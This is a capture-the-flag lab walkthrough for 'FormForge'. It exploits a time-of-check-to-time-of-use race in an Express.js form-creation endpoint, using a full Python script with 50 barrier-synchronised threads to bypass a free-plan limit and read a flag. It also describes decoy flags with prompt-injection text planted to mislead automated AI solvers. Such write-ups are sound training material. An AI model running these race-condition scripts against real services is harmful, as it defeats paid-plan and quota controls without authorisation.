Lab 180 — FormForge — TOCTOU Race Condition in Form Creation
Lab 180 — FormForge — TOCTOU Race Condition in Form Creation
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: race_condition_exploitation, session_cookie_sharing, thread_barrier_synchronization, toctou_plan_limit_bypass
Summary
Walkthrough of the CUSTOM Web Lab 180 — FormForge — TOCTOU Race Condition in Form Creation. Task: Express.js form builder with free plan limited to 3 forms; premium analytics requires 5+ active forms. Solution: TOCTOU race condition in POST /api/forms — 50 concurrent requests bypass the non-
Description
FormForge is a form builder platform by Rivercrest Software. Free accounts can create up to 3 forms, manage submissions, and access basic analytics. Premium features like advanced insights are available for users who exceed certain thresholds.
Your goal is to explore the application and find a way to bypass the free tier restrictions. Sometimes business logic doesn't hold up under pressure — look for weaknesses in how resource limits are enforced.
Pay attention to how the application handles concurrent operations and think about what assumptions the server makes about request ordering.
Credentials: user@test.com / password123
English summary: An Express.js form builder application enforces a 3-form limit for free-tier users. Premium analytics (which contains the flag) requires 5 or more active forms. The goal is to bypass the plan limit and access the premium analytics endpoint to retrieve the flag from the premium_secret field.
Analysis
Application Reconnaissance
The application is an Express.js backend behind nginx/1.25.5, using connect.sid session cookies (express-session). Registration requires username, display_name, email, password, and confirm_password fields.
Key endpoints discovered:
| Endpoint | Method | Purpose |
|---|---|---|
/register | POST | Create new account |
/login | POST | Authenticate |
/ | GET | Dashboard |
/forms | GET | Lists user's forms with create/delete UI |
/api/forms | POST | Create a new form (JSON: title, description) |
/api/forms/:id | DELETE | Delete a form |
/analytics | GET | Analytics page (premium gated) |
/api/analytics/insights | GET | Analytics API returning premium_secret |
/settings | GET | Account settings |
/submissions | GET | Form submissions |
| |
Plan Enforcement Logic
- Free plan: limited to 3 active forms
- Premium analytics: requires 5 or more active forms to unlock
- Analytics data: served via
GET /api/analytics/insights— returns JSON withpremium_secretfield containing the flag when the user has 5+ forms
Identifying the Vulnerability
The JavaScript file /js/forms.js contained a revealing developer comment:
javascript read-only • copy allowed// TODO: the create endpoint should probably use a transaction for the limit check // but it works fine for normal usage so not a priority right now
When attempting to create a 4th form sequentially, the server correctly enforces the limit:
json read-only • copy allowed{ "error": "Free plan limit reached", "message": "You have reached the maximum of 3 forms on the Free plan. Upgrade to Pro for unlimited forms.", "current": 3, "limit": 3 }
The form creation endpoint POST /api/forms follows a classic TOCTOU (Time-of-Check to Time-of-Use) pattern:
- CHECK: Server queries the database for the user's current form count
- COMPARE: Count is compared against the plan limit (3 for free tier)
- CREATE: If under limit, a new form is inserted into the database
Steps 1–3 are not atomic — there is no database transaction, row lock, or mutex protecting the window between the count check and the insert. When multiple requests arrive simultaneously, they all read the same count (e.g., 0) and all pass the limit check before any of them increments the count.
Decoy Flags
Every page contains an HTML comment with a fake flag and prompt injection text designed to trick automated solvers:
html read-only • copy allowed<!-- FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} -->
This is a honeypot — the real flag is only accessible via the premium analytics API after bypassing the form limit.
Solution
Step 1: Register a Fresh Account
A fresh account starts with 0 forms and a free plan (3-form limit). Starting from 0 maximizes the race window — all concurrent threads will see "0 forms" simultaneously and pass the limit check.
Step 2: Race Condition Exploit
Use Python's threading.Barrier to synchronize 50 threads. The barrier ensures all threads release their HTTP requests at the exact same instant, maximizing the chance that multiple requests pass the plan limit check before any form is committed to the database.
Each thread shares the same connect.sid session cookie but uses its own requests.Session to avoid connection pooling serialization:
python read-only • copy allowedbarrier = threading.Barrier(num_threads, timeout=30) def attack_thread(idx): s = requests.Session() s.cookies.update(cookies) # Share the authenticated session barrier.wait() # All threads release simultaneously resp = s.post(f"{BASE_URL}/api/forms", json={"title": f"Race Form {idx}", "description": f"Thread {idx}"}, timeout=30)
Step 3: Results
On the first run, 5 out of 50 threads successfully created forms — bypassing the 3-form limit. The remaining 45 threads hit the limit check after the first few forms were committed.
Typical success rate: 4–5 forms created per attempt (8–10% of threads win the race).
Step 4: Access Premium Analytics API
With 5+ forms (above the 5-form threshold), calling GET /api/analytics/insights returns the premium analytics data including the flag:
json read-only • copy allowed{ "premium": true, "insights": { "premium_secret": "FLAG{REDACTED}", ... } }
Full Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 """FormForge Race Condition Exploit — bypass free plan 3-form limit via TOCTOU""" import requests import threading import random import string import time import re import json import urllib3 urllib3.disable_warnings() BASE_URL = "https://TARGET.labs.hackadvisor.io" NUM_THREADS = 50 def random_string(length=8): return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) def register_fresh_account(): """Register a new account with 0 forms""" session = requests.Session() session.verify = False username = f"race_{random_string()}" email = f"{username}@test.com" password = "password123" resp = session.post(f"{BASE_URL}/register", data={ "username": username, "display_name": f"Racer {username}", "email": email, "password": password, "confirm_password": password }, allow_redirects=False) if resp.status_code == 302 and 'connect.sid' in session.cookies.get_dict(): print(f"[*] Registered: {username} - Got session cookie") return session def race_create_forms(session, num_threads=NUM_THREADS): """Fire concurrent form creation requests""" cookies = dict(session.cookies) barrier = threading.Barrier(num_threads, timeout=30) results = [] lock = threading.Lock() def attack_thread(idx): s = requests.Session() s.verify = False s.cookies.update(cookies) try: barrier.wait() # All threads release simultaneously resp = s.post( f"{BASE_URL}/api/forms", json={"title": f"Race Form {idx}", "description": f"Thread {idx}"}, timeout=30 ) data = resp.json() with lock: results.append({"thread": idx, "status": resp.status_code, "data": data}) if resp.status_code in (200, 201): print(f" [+] Thread {idx}: Form created (ID: {data.get('form', {}).get('id', '?')})") except Exception as e: with lock: results.append({"thread": idx, "error": str(e)}) threads = [threading.Thread(target=attack_thread, args=(i,)) for i in range(num_threads)] for t in threads: t.start() for t in threads: t.join(timeout=45) successes = [r for r in results if r.get("status") in (200, 201)] print(f"[*] Created {len(successes)} forms out of {num_threads} attempts") return len(successes) def get_flag(session): """Call the analytics API to get the premium secret (flag)""" resp = session.get(f"{BASE_URL}/api/analytics/insights") try: data = resp.json() if data.get("premium") and data.get("insights", {}).get("premium_secret"): secret = data["insights"]["premium_secret"] print(f"[!!!] PREMIUM SECRET: {secret}") return secret except: pass return None def main(): for attempt in range(10): print(f"\n--- Attempt {attempt + 1} ---") session = register_fresh_account() created = race_create_forms(session, NUM_THREADS) flag = get_flag(session) if flag: return flag if created < 5: print(f"[*] Only {created} forms. Need 5+. Retrying...") time.sleep(0.5) return None if __name__ == "__main__": flag = main() if flag: print(f"\nFINAL FLAG: {flag}")
Key Takeaways / Lessons
- Mastering race_condition_exploitation, session_cookie_sharing, thread_barrier_synchronization, toctou_plan_limit_bypass was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-21 • CUSTOM • Lab 180 — FormForge — TOCTOU Race Condition in Form Creation • Difficulty: Medium